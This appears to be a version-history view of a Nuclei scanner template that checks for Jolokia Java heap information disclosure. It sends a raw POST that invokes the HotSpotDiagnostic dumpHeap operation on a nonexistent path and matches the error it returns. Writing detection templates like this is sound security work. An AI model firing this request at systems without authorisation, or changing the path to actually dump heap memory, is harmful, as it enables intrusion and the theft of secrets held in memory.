nuclei-templates/vulnerabilities/jolokia/jolokia-heap-info-disclosur...

38 lines
1.0 KiB
YAML
Raw Normal View History

2021-06-22 17:43:31 +00:00
id: jolokia-heap-info-disclosure
info:
2021-06-22 17:46:57 +00:00
name: Jolokia Java Heap Information Disclosure
2021-06-22 17:43:31 +00:00
author: milo2012
severity: info
tags: jolokia,disclosure
2021-06-22 17:43:31 +00:00
requests:
- raw:
- |
2021-07-02 12:54:31 +00:00
POST /jolokia/ HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 136
2021-06-22 17:43:31 +00:00
2021-07-02 12:54:31 +00:00
{
"type":"EXEC",
"mbean":"com.sun.management:type=HotSpotDiagnostic",
"operation":"dumpHeap",
"arguments":[
"/tmp1234/test1.hprof",
0
]
}
2021-06-22 17:43:31 +00:00
matchers:
- type: word
words:
- 'stacktrace":"java.io.IOException: No such file or directory'
2021-06-22 17:46:57 +00:00
part: body